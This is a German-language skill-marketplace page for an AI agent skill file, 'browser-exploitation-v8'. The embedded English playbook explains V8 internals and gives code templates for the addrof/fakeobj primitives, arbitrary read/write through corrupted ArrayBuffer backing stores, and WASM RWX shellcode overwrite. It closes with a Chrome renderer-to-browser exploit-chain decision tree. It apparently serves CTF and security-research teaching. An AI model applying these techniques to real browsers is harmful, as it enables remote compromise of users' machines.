browser-exploitation-v8
yaklang/hack-skills
Leitfaden zur Ausnutzung von Browser- und V8-Schwachstellen. Zur Ausnutzung von Schwachstellen in der JavaScript-Engine, darunter JIT-Typverwechslung, fehlerhafte Bounds-Eliminierung und Umgehung der V8-Sandbox, um RCE im Renderer und einen Sandbox-Escape in Chrome/Chromium zu erreichen.
...Alle erweiternÜber browser-exploitation-v8
Ein Leitfaden für Sicherheitstests zum Ausnutzen von Schwachstellen in der JavaScript-Engine von Googles V8 (Chrome/Chromium). Es beschreibt die V8-Kompilierungspipeline – der Quellcode wird zu einem AST geparst, als Ignition-Bytecode interpretiert und anschließend schrittweise durch Sparkplug, Maglev und den TurboFan-Optimierungs-JIT optimiert, wobei bei fehlgeschlagener Spekulation eine Deoptimierung zurück zum Bytecode erfolgt. Auch grundlegende interne Mechanismen werden dokumentiert: getaggte Zeiger (SMIs und Heap-Objekte), Zeigerkomprimierung, bei der Objekte über einen 32-Bit-Offset von einer Cage-Basis innerhalb eines 4-GB-Bereichs adressiert werden, Maps (versteckte Klassen), Elementtypen, die Schreibbarriere und der Orinoco-Garbage-Collector.
Der Großteil des Materials listet häufige Fehlerklassen und die Primitive auf, mit denen diese ausgenutzt werden können. Zu den Fehlerklassen gehören JIT-Typverwechslungen, die fehlerhafte Eliminierung von Bereichsprüfungen, Verwechslungen in der Prototypenkette, TurboFan-Reduktions- und Typer-Fehler, Race-Conditions bei SharedArrayBuffer sowie „Off-by-One“-Fehler in Builtins. Ausgehend von einem Speicherbeschädigungsfehler werden die klassischen Primitive „addrof“ und „fakeobj“ aufgebaut (durch Verwechslung von Objekt-Element- und Double-Element-Arrays), eskaliert auf beliebiges Lesen/Schreiben über einen beschädigten Float64Array- oder ArrayBuffer-Backing-Store und behandelt den Zugriff außerhalb der Grenzen durch verwechselte Array-Grenzen und WASM-RWX-Seiten.
Verwenden Sie es, wenn Sie Renderer-RCE- und Sandbox-Escape-Ketten in einer kontrollierten, autorisierten Umgebung untersuchen oder reproduzieren möchten. Es wird erläutert, wie man die JIT-Optimierung erzwingen kann (durch häufigen Aufruf einer Funktion oder die Intrinsic-Funktion %OptimizeFunctionOnNextCall in d8) und wie die V8-Sandbox und die Zeigerkomprimierung die Ausnutzung einschränken, da Zeiger auf den Backing-Store innerhalb der Sandbox bleiben und ein separater Sandbox-Escape erforderlich ist, um vollen Zugriff auf den Prozessspeicher zu erhalten. Verwandte Links führen zu Sandbox-Escape-Techniken, Heap-Exploitation, Stack-Overflow-und-ROP sowie Binary-Protection-Bypass, mit einem tiefergehenden Verweis auf „V8_EXPLOITATION_PATTERNS.md“.
FAQ
Welche V8-Fehlerklassen deckt das Playbook ab?
JIT-Typverwechslungen, fehlerhafte Eliminierung von Bereichsprüfungen, Prototyp-Ketten-Verwechslungen, TurboFan-Reduktion und Typfehler, SharedArrayBuffer-Wettlaufbedingungen sowie „Off-by-one“-Fehler in integrierten Funktionen.
Welche zentralen Exploit-Primitiven werden beschrieben?
„addrof“ (Adressleck eines Objekts) und „fakeobj“ (Erzeugung einer Objektreferenz), die durch Verwechslung von Objekt- und Double-Element-Arrays erzeugt und anschließend über einen beschädigten Float64Array- oder ArrayBuffer-Backing-Store zu beliebigen Lese-/Schreibzugriffen kombiniert werden.
Wie wirken sich die V8-Sandbox und die Zeigerkomprimierung auf die Ausnutzung aus?
Da Objekte in V8 8.0 über einen 32-Bit-Offset von einer Cage-Basis innerhalb eines 4-GB-Bereichs adressiert werden und ArrayBuffer-Backing-Stores Sandbox-Zeiger sind, erfordert der Zugriff auf den gesamten Prozessspeicher einen separaten Sandbox-Escape.
Wie erzwingt man, dass eine Funktion zu Testzwecken JIT-optimiert wird?
Rufen Sie sie mehrmals auf (zum Beispiel 100.000 Iterationen), um TurboFan auszulösen, oder verwenden Sie in der d8-Shell vor dem Aufruf die Intrinsic-Funktion %OptimizeFunctionOnNextCall.
Auf welche verwandten Fähigkeiten bezieht sich dies?
Sandbox-Escape-Techniken (IPC/Mojo-Renderer-Escape), Heap-Ausnutzung, Stack-Overflow-und-ROP sowie Umgehung des Binärschutzes, dazu eine fortgeschrittene Referenz in „V8_EXPLOITATION_PATTERNS.md“ für detaillierte Vorlagen.
Alle Dateien
2DateienV8_EXPLOITATION_PATTERNS.md8,9KBDen Inhalt anzeigenSKILL.md11,5 KBDen Inhalt anzeigenAI LOAD INSTRUCTION: Expert V8/Chrome exploitation techniques. Covers V8 compilation pipeline, JIT type confusion, addrof/fakeobj primitives, ArrayBuffer corruption, WASM RWX pages, V8 sandbox (pointer compression), and Chrome sandbox escape overview. Distilled from ctf-wiki browser sections, Project Zero research, and CTF competition patterns. Base models often confuse V8 object representation details and miss the pointer compression barrier.
0. RELATED ROUTING
- sandbox-escape-techniques — Chrome renderer sandbox escape via IPC/Mojo
- heap-exploitation — general heap concepts applicable to V8 heap
- stack-overflow-and-rop — ROP concepts for native code execution after V8 escape
- binary-protection-bypass — ASLR/NX bypass in browser context
Advanced Reference
Load V8_EXPLOITATION_PATTERNS.md when you need:
- Detailed exploitation patterns and code templates
- Heap layout manipulation and GC interaction
- V8 sandbox bypass techniques
- Object map confusion patterns
1. V8 ARCHITECTURE
Compilation Pipeline
JavaScript Source ↓ Parser AST (Abstract Syntax Tree) ↓ Ignition Bytecode (interpreted, profiling) ↓ Sparkplug (non-optimizing baseline, V8 ≥ 9.1) Baseline code (fast startup) ↓ Maglev (mid-tier, V8 ≥ 10.2) Mid-optimized code ↓ TurboFan (optimizing JIT) Optimized machine code (with speculative optimizations) ↓ Deoptimization (if speculation fails) Back to Ignition bytecodeKey V8 Concepts
| Concept | Description |
|---|---|
| Tagged pointers | SMI (Small Integer): value << 1, HeapObject: ptr | 1 |
| Pointer compression | V8 ≥ 8.0: objects addressed via 32-bit offset from cage base (4GB sandbox) |
| Maps (Hidden Classes) | Define object shape: property names, types, offsets |
| Elements kinds | Internal array type: PACKED_SMI_ELEMENTS, PACKED_DOUBLE_ELEMENTS, PACKED_ELEMENTS, etc. |
| Write barrier | GC bookkeeping when heap pointers are written |
| Garbage collection | Orinoco GC: minor (Scavenge) and major (Mark-Compact) |
Object Representation (64-bit, pointer compression)
HeapObject in V8 heap (compressed): +0x00: Map pointer (compressed, 32-bit offset) +0x04: Properties/Hash +0x08: Elements pointer (compressed) +0x0C: Length (for arrays) +0x10: Inline properties or backing store data2. COMMON V8 BUG CLASSES
| Bug Class | Description | Example |
|---|---|---|
| JIT Type Confusion | TurboFan assumes wrong type after optimization | Speculative type guard eliminated, wrong operation applied |
| Incorrect Bounds Elimination | JIT removes array bounds check based on wrong range analysis | CheckBounds node eliminated → OOB access |
| Prototype Chain Confusion | Optimization assumes stable prototype, mutations invalidate | Prototype change after optimization → wrong property access |
| Turbofan Reduction Bug | Incorrect strength reduction or constant folding | Integer overflow in range analysis |
| Race Condition | SharedArrayBuffer + worker thread race | Type confusion via concurrent modification |
| Off-by-one in Builtin | Boundary error in built-in function implementation | String/Array bounds |
| Typer Bug | Incorrect type range computation in TurboFan | Typer says value is in [0, N] but can be N+1 |
Triggering JIT Optimization
function vuln(arr) { // ... vulnerable code path ...}// Force optimization by calling many timesfor (let i = 0; i < 100000; i++) { vuln(arr);}// Or use V8 intrinsics (d8 only):%OptimizeFunctionOnNextCall(vuln);vuln(arr);
3. EXPLOITATION PRIMITIVES
addrof — Leak Object Address
// Goal: get the raw heap address of a JavaScript object// Method: type confusion between object array and float array// If we can confuse PACKED_ELEMENTS array with PACKED_DOUBLE_ELEMENTS:// - Write object reference to element of object array// - Read same element as double from confused float array// - Float bits = compressed pointer of the objectfunction addrof(obj) { // Setup depends on specific bug // Typically: trigger type confusion so array reads obj ref as float object_array[0] = obj; return ftoi(confused_float_array[0]); // float-to-int conversion}
fakeobj — Create Fake Object Reference
// Goal: create a JS reference to an arbitrary heap address// Method: reverse of addrof — write float (raw pointer bits) to float array,// read from confused object array → treated as object referencefunction fakeobj(addr) { confused_float_array[0] = itof(addr); // int-to-float conversion return object_array[0]; // now a "pointer" to addr}
Building Arbitrary R/W from addrof + fakeobj
// 1. Create a Float64Array with known layoutlet rw_array = new Float64Array(0x100);let rw_array_addr = addrof(rw_array);// 2. Fake a Float64Array object at controlled address with modified backing_store// 3. Corrupt backing_store pointer to target address// 4. Read/write through the fake Float64Array → arbitrary R/Wfunction read64(addr) { // Set fake array's backing_store = addr write_to_fake_backingstore(addr); return fake_float64array[0];}function write64(addr, value) { write_to_fake_backingstore(addr); fake_float64array[0] = value;}
4. OOB READ/WRITE VIA CONFUSED ARRAY BOUNDS
When TurboFan incorrectly eliminates bounds checks:
function trigger(arr, idx) { // TurboFan thinks idx is always < arr.length // But due to bug, idx can exceed bounds return arr[idx]; // OOB read}// OOB read adjacent memory (next heap object's metadata)// OOB write to corrupt next object's map/elements/length
What's Adjacent in V8 Heap?
Objects are allocated sequentially in V8's young generation (new space). By controlling allocation order:
let arr1 = new Array(0x10); // spray objectlet arr2 = new Float64Array(0x10); // target: adjacent to arr1// OOB from arr1 can reach arr2's metadata// Corrupt arr2's length → unconstrained OOB on arr2
5. ARRAYBUFFER ARBITRARY R/W
ArrayBuffer's backing store is a raw pointer to allocated memory. Corrupting it gives absolute memory R/W.
let ab = new ArrayBuffer(0x100);let view = new DataView(ab);// If we can overwrite ab's backing_store pointer:// ab.backing_store = target_addr// view.getFloat64(0) → reads 8 bytes from target_addr// view.setFloat64(0, val) → writes to target_addr
V8 Sandbox (Pointer Compression) Impact
Since V8 ≥ 8.0 (pointer compression) and V8 sandbox (≥ 11.x):
ArrayBuffer.backing_storeis a sandbox pointer (within the V8 cage, 4GB region)- Cannot directly point outside the V8 cage
- Need sandbox escape to get full process memory access
6. WASM RWX PAGE
WebAssembly JIT code is placed on RWX (Read-Write-Execute) pages on some platforms.
// Allocate WASM module → JIT compiles to RWX pagelet wasm_code = new Uint8Array([0x00, 0x61, 0x73, 0x6d, ...]);let mod = new WebAssembly.Module(wasm_code);let instance = new WebAssembly.Instance(mod);// instance.exports.func → points to RWX page// If we can find and write to this page:// 1. addrof(instance) → find WASM instance object// 2. Follow pointers: instance → jump_table_start → RWX page// 3. Use arbitrary write to overwrite RWX page with shellcode// 4. Call instance.exports.func() → executes shellcode
Modern Chrome: W^X enforcement means WASM pages are either RW or RX, not RWX simultaneously. JIT code is written in RW mode, then switched to RX. Exploitation requires finding a write window or using JIT spray.
7. V8 SANDBOX
Architecture (V8 ≥ 11.x)
Process Virtual Address Space:┌──────────────────────────────────────┐│ V8 Sandbox Cage (4GB region) ││ ├── V8 Heap (JS objects) ││ ├── ArrayBuffer backing stores ││ ├── WASM memory ││ └── External pointer table │├──────────────────────────────────────┤│ Process memory outside cage ││ ├── libc, Chrome code ││ ├── Stack ││ └── Other allocations │└──────────────────────────────────────┘Sandbox Escape Vectors
| Vector | Method |
|---|---|
| External pointer table | Corrupt entries in the external pointer table to reference arbitrary addresses |
| WASM code pointer | Overwrite WASM function entry to jump to controlled shellcode |
| JIT code corruption | Write to JIT code page via race condition or confused pointer |
| Mojo IPC (Chrome) | Exploit Chrome IPC to attack browser process from compromised renderer |
| Backing store seal bypass | Find type confusion to get unsandboxed pointer |
8. CHROME SANDBOX ESCAPE (OVERVIEW)
After renderer RCE (via V8 exploit), the process is still sandboxed. Full compromise requires:
| Stage | Target | Example |
|---|---|---|
| Renderer exploit | V8 / Blink DOM | Type confusion → shellcode |
| IPC/Mojo bug | Chrome IPC layer | Use-after-free in Mojo interface |
| Browser process exploit | Privileged browser process | Code execution outside sandbox |
Mojo interfaces (Chrome's IPC) expose attack surface: find UAF or type confusion in Mojo message handlers.
9. TOOLS
# V8 debuggingd8 --allow-natives-syntax exploit.js # Enable V8 intrinsics (%DebugPrint, etc.)d8 --trace-turbo exploit.js # Dump TurboFan IRd8 --print-opt-code exploit.js # Print optimized machine code# Turbolizer: visual TurboFan IR graph# Chrome DevTools Memory panel: heap snapshots# Build V8 for debugginggit clone https://chromium.googlesource.com/v8/v8.gitgclient syncgn gen out/debug --args='is_debug=true v8_enable_sandbox=false'ninja -C out/debug d8
10. DECISION TREE
V8 vulnerability identified├── Bug type?│ ├── JIT type confusion → trigger optimization, confuse array element kinds│ ├── Bounds check elimination → OOB read/write on array│ ├── Typer bug → incorrect range leads to OOB│ └── Builtin bug → direct memory corruption primitive│├── Build primitives│ ├── Can confuse object array ↔ float array?│ │ └── addrof + fakeobj → arbitrary R/W within V8 heap│ ├── OOB on array?│ │ └── Corrupt adjacent object (length/backing_store) → expand to full R/W│ └── Direct write primitive?│ └── Target WASM instance or ArrayBuffer metadata│├── V8 sandbox enabled?│ ├── YES (modern Chrome) →│ │ ├── R/W limited to V8 cage (4GB)│ │ ├── Need sandbox escape: external pointer table corruption,│ │ │ WASM code pointer overwrite, or Mojo bug│ │ └── Then proceed to shellcode execution│ └── NO (older V8, CTF, d8) →│ ├── Corrupt ArrayBuffer backing_store → absolute R/W│ └── Overwrite WASM RWX page → shellcode│├── Code execution method│ ├── WASM RWX page available? → write shellcode, call WASM func│ ├── JIT code writable? → overwrite JIT code│ └── ROP needed? → corrupt stack or return address│└── Full browser exploit chain ├── Stage 1: V8 bug → renderer RCE ├── Stage 2: Mojo IPC bug → browser process compromise └── Stage 3: OS-level escalation (if needed) browser-exploitation-v8 installieren
Laden Sie die Skill-Dateien herunter und entpacken Sie sie in Ihr Verzeichnis „.claude/skills/“.
ZIP herunterladenKlonen Sie das Repository und kopieren Sie die Skill-Dateien in Ihr Projekt.
git clone https://github.com/yaklang/hack-skills/blob/main/skills/browser-exploitation-v8/SKILL.md # Copy SKILL.md to your .claude/skills/ directory
Kopieren





Heim
